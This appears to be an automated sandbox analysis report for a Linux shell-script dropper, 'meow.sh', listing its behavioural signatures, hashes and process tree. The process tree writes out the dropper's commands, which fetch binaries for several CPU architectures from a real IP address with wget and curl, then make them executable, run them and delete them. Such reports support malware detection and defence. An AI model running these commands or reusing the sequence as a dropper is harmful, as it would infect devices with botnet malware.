Analysis

  • max time kernel
    150s
  • max time network
    147s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    24/07/2026, 12:25

General

  • Target
    meow.sh
  • Size 1KB
  • Sample260724-pl4etsgb68
  • SHA256 50cffb0f65d31b38f5b222955d92879a3e102d0a0d9a3625ed87fb7834fab210
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads MAC address of network interface 2 TTPs 1 IoCs

    Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.

  • Reads network interface configuration 2 TTPs 2 IoCs

    Fetches information about one or more active network interfaces.

  • Changes its process name 1 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 8 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/meow.sh
    /tmp/meow.sh
    1⤵
    • Executes dropped EXE
    PID:651
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Writes file to tmp directory
      PID:655
    • /usr/bin/wget
      wget http://94.154.43.164/armv4l
      2⤵
      • Writes file to tmp directory
      PID:663
    • /usr/bin/curl
      curl -O http://94.154.43.164/armv4l
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:757
    • /bin/chmod
      chmod +x armv4l busybox meow.sh systemd-private-a396385889dd43a1bd8404606af84a60-systemd-timedated.service-6DY8U8
      2⤵
      • File and Directory Permissions Modification
      PID:758
    • /tmp/armv4l
      ./armv4l armv4l
      2⤵
      • Renames itself
      • Reads MAC address of network interface
      • Reads network interface configuration
      • Changes its process name
      • Enumerates kernel/hardware configuration
      • Reads runtime system information
      PID:759
    • /bin/rm
      rm -rf armv4l
      2⤵
        PID:761
      • /usr/bin/wget
        wget http://94.154.43.164/mips
        2⤵
        • System Network Configuration Discovery
        PID:763
      • /usr/bin/curl
        curl -O http://94.154.43.164/mips
        2⤵
        • System Network Configuration Discovery
        PID:764
      • /bin/chmod
        chmod +x busybox libcow.so meow.sh systemd-private-a396385889dd43a1bd8404606af84a60-systemd-timedated.service-6DY8U8
        2⤵
        • File and Directory Permissions Modification
        PID:765
      • /tmp/.mips
        ./.mips mips
        2⤵
        • System Network Configuration Discovery
        PID:766
      • /bin/rm
        rm -rf mips
        2⤵
        • System Network Configuration Discovery
        PID:767
      • /usr/bin/wget
        wget http://94.154.43.164/mipsel
        2⤵
        • System Network Configuration Discovery
        PID:768
      • /usr/bin/curl
        curl -O http://94.154.43.164/mipsel
        2⤵
        • System Network Configuration Discovery
        PID:769
      • /bin/chmod
        chmod +x busybox libcow.so meow.sh systemd-private-a396385889dd43a1bd8404606af84a60-systemd-timedated.service-6DY8U8
        2⤵
        • File and Directory Permissions Modification
        PID:770
      • /tmp/mipsel
        ./mipsel mipsel
        2⤵
        • System Network Configuration Discovery
        PID:771
      • /bin/rm
        rm -rf mipsel
        2⤵
        • System Network Configuration Discovery
        PID:772
      • /usr/bin/wget
        wget http://94.154.43.164/armv5l
        2⤵
          PID:773
        • /usr/bin/curl
          curl -O http://94.154.43.164/armv5l
          2⤵
            PID:774
          • /bin/chmod
            chmod +x busybox libcow.so meow.sh systemd-private-a396385889dd43a1bd8404606af84a60-systemd-timedated.service-6DY8U8
            2⤵
            • File and Directory Permissions Modification
            PID:775
          • /tmp/armv5l
            ./armv5l armv5l
            2⤵
              PID:776
            • /bin/rm
              rm -rf armv5l
              2⤵
                PID:777
              • /usr/bin/wget
                wget http://94.154.43.164/i686
                2⤵
                  PID:778
                • /usr/bin/curl
                  curl -O http://94.154.43.164/i686
                  2⤵
                    PID:779
                  • /bin/chmod
                    chmod +x busybox libcow.so meow.sh systemd-private-a396385889dd43a1bd8404606af84a60-systemd-timedated.service-6DY8U8
                    2⤵
                    • File and Directory Permissions Modification
                    PID:780
                  • /tmp/i686
                    ./i686 i686
                    2⤵
                      PID:781
                    • /bin/rm
                      rm -rf i686
                      2⤵
                        PID:782
                      • /usr/bin/wget
                        wget http://94.154.43.164/armv7l
                        2⤵
                          PID:783
                        • /usr/bin/curl
                          curl -O http://94.154.43.164/armv7l
                          2⤵
                            PID:784
                          • /bin/chmod
                            chmod +x busybox libcow.so meow.sh systemd-private-a396385889dd43a1bd8404606af84a60-systemd-timedated.service-6DY8U8
                            2⤵
                            • File and Directory Permissions Modification
                            PID:785
                          • /tmp/armv7l
                            ./armv7l armv7l
                            2⤵
                              PID:786
                            • /bin/rm
                              rm -rf armv7l
                              2⤵
                                PID:787

                            Network

                                  MITRE ATT&CK Enterprise v16

                                  Replay Monitor

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                                  Downloads

                                  armv4l

                                  • Path /tmp/armv4l
                                  • Size 93KB
                                  • SHA256 ef42e6fd238baa990731f2ab20d130c489c1689588c5842713f28b4e90724019
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  busybox

                                  • Path /tmp/busybox
                                  • Size 507KB
                                  • SHA256 2dd1fbb8052a89f40c2e9af115d31346e554ee746e9c7a97d651e43e0609df88
                                  • MD5 SHA1 SHA512 SSDEEP TLSH